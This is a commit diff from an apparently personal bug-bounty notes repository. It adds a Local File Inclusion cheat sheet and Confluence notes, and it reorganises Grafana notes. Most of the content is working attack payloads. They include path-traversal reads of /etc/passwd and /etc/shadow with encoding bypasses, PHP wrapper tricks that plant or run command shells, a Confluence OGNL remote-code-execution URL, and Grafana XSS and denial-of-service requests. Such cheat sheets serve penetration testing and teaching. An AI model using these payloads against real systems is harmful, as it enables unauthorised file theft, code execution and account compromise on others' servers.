Add LFI + Confluence and fix grafana structure
Muhammad Daffa
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# Soon!
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## Local File Inclusion
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## Introduction
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Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server
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## How to exploit
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1. Basic payload
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```
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http://example.com/index.php?page=../../../etc/passwd
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http://example.com/index.php?page=../../../../../../../../../../../../etc/shadow
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```
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2. URL encoding
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```
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http://example.com/index.php?page=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
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```
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3. Double encoding
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```
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http://example.com/index.php?page=%252e%252e%252f%252e%252e%252fetc%252fpasswd
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```
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4. UTF-8 encoding
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```
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http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
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```
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5. Using Null Byte (%00)
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```
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http://example.com/index.php?page=../../../etc/passwd%00
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```
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6. From an existent folder
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```
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http://example.com/index.php?page=scripts/../../../../../etc/passwd
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```
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7. Path truncation
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```
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http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
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http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
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```
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8. Using PHP Wrappers: filter
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```
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http://example.com/index.php?page=php://filter/read=string.rot13/resource=config.php
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http://example.com/index.php?page=php://filter/convert.base64-encode/resource=config.php
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```
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9. Using PHP Wrappers: zlib
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```
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http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/shadow
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```
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10. Using PHP Wrappers: zip
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```
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echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
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zip payload.zip payload.php;
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mv payload.zip shell.jpg;
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rm payload.php
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http://example.com/index.php?page=zip://shell.jpg%23payload.php
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```
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11. Using PHP Wrappers: data
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```
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http://example.com/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
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```
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12. Using PHP Wrappers: expect
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```
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http://example.com/index.php?page=expect://ls
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```
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13. Using PHP Wrappers: input
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```
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POST /index.php?page=php://input&cmd=ls HTTP/1.1
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Host: example.com
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...
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<?php echo shell_exec($_GET['cmd']); ?>
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```
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14. Some unique bypass
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```
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http://example.com/index.php?page=....//....//etc/passwd
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http://example.com/index.php?page=..///////..////..//////etc/passwd
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http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
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http://example.com/index.php?page=/.%2e/.%2e/.%2e/.%2e/etc/passwd
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http://example.com/index.php?page=/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
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```
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## References
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* [Aptive](https://www.aptive.co.uk/blog/local-file-inclusion-lfi-testing/)
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@ -15,7 +15,7 @@ These are my bug bounty notes that I have gathered from various sources, you can
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- [Exposed Source Code](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Exposed%20Source%20Code.md)
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- [Host Header Injection](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Host%20Header%20Injection.md)
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- [Insecure Direct Object References (IDOR)](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Insecure%20Direct%20Object%20References.md)
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- Local File Inclusion (SOON)
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- [Local File Inclusion (LFI)](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Local%20File%20Inclusion.md)
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- [NoSQL Injection](https://github.com/daffainfo/AllAboutBugBounty/blob/master/NoSQL%20Injection.md)
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- SQL Injection (SOON)
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- [OAuth Misconfiguration](https://github.com/daffainfo/AllAboutBugBounty/blob/master/OAuth%20Misconfiguration.md)
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@ -41,6 +41,7 @@ These are my bug bounty notes that I have gathered from various sources, you can
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- [Tabnabbing](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Misc/Tabnabbing.md)
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## Technologies
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- [Grafana](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Technologies/Confluence.md)
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- [Grafana](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Technologies/Grafana.md)
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- [HAProxy](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Technologies/HAProxy.md)
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- [Jira](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Technologies/Jira.md)
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@ -0,0 +1,27 @@
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# Confluence Common Bugs
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## Introduction
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What would you do if you came across a website that uses Confluence?
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## How to Detect
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```
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https://example.com/secure/Dashboard.jspa
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https://example.com/login.jsp
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```
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1. Find the related CVE by checking Confluence version
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* How to find the Confluence version
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Try to request to `https://example.com/secure/Dashboard.jspa` and then check the source code. You will find this line `<meta name="ajs-version-number" content="8.20.9">` so 8.20.9 is the Confluence version. If you found outdated Confluence version, find the CVEs at [CVEDetails](https://www.cvedetails.com/vulnerability-list/vendor_id-3578/product_id-6258/Atlassian-Confluence.html)
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Some example CVE:
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- CVE-2022-26134 (Remote Code Execution)
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```
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https://example.com/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
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```
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- CVE-2021-26085 (Arbitrary File Read)
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```
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https://example.com/s/test/_/;/WEB-INF/web.xml
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```
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@ -1,13 +1,27 @@
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# Grafana
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1. CVE-2021-41174 (Reflected XSS)
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## Introduction
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What would you do if you came across a website that uses Grafana?
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## How to Detect
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Try to HTTP request to `https://example.com/login` and there is a form login
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1. Find the related CVE by checking grafana version
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* How to find the grafana version
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Try to request to `https://example.com/login` and then check the source code. You will find the version in JSON body `"isEnterprise":false,"latestVersion:"9.0.0","version":"8.3.2"` so 8.3.2 is the grafana version. If you found outdated grafana version, find the CVEs at [CVEDetails](https://www.cvedetails.com/vulnerability-list/vendor_id-18548/product_id-47055/Grafana-Grafana.html)
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Some example CVE:
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- CVE-2021-41174 (Reflected XSS)
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```
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https://example.com/dashboard/snapshot/%7B%7Bconstructor.constructor('alert(1)')()%7D%7D?orgId=1
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```
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2. CVE-2020-13379 (Denial of Service)
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- CVE-2020-13379 (Denial of Service)
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```
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https://example.com/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D
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```
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3. CVE-2020-11110 (Stored XSS)
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- CVE-2020-11110 (Stored XSS)
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```
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POST /api/snapshots HTTP/1.1
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Host: example.com
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@ -19,7 +33,7 @@ Connection: close
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{"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"gnetId":null,"graphTooltip":0,"id":null,"links":[],"panels":[],"schemaVersion":18,"snapshot":{"originalUrl":"javascript:alert('Revers3c')","timestamp":"2020-03-30T01:24:44.529Z"},"style":"dark","tags":[],"templating":{"list":[]},"time":{"from":null,"to":"2020-03-30T01:24:53.549Z","raw":{"from":"6h","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Dashboard","uid":null,"version":0},"name":"Dashboard","expires":0}
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```
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4. CVE-2019-15043 (Grafana Unauthenticated API)
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- CVE-2019-15043 (Grafana Unauthenticated API)
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```
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POST /api/snapshots HTTP/1.1
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Host: example.com
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@ -31,11 +45,11 @@ Content-Type: application/json
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{"dashboard":{"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows": [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires": 3600}
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```
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5. Default Credentials
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2. Default Credentials
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```
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Try to login using admin as username and password
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```
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6. Signup Enabled
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3. Signup Enabled
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```
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https://example.com/signup
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```
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@ -12,7 +12,7 @@ https://example.com/login.jsp
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1. Find the related CVE by checking jira version
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* How to find the jira version
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Try to request to `https://example.com/secure/Dashboard.jspa` and then check the source code. You will find this line `<meta name="ajs-version-number" content="8.20.9">` so 8.20.9 is the version jira. If you found outdated jira version, find the CVEs at [CVEDetails](https://www.cvedetails.com/vulnerability-list/vendor_id-3578/product_id-8170/Atlassian-Jira.html)
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Try to request to `https://example.com/secure/Dashboard.jspa` and then check the source code. You will find this line `<meta name="ajs-version-number" content="8.20.9">` so 8.20.9 is the jira version. If you found outdated jira version, find the CVEs at [CVEDetails](https://www.cvedetails.com/vulnerability-list/vendor_id-3578/product_id-8170/Atlassian-Jira.html)
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Some example CVE:
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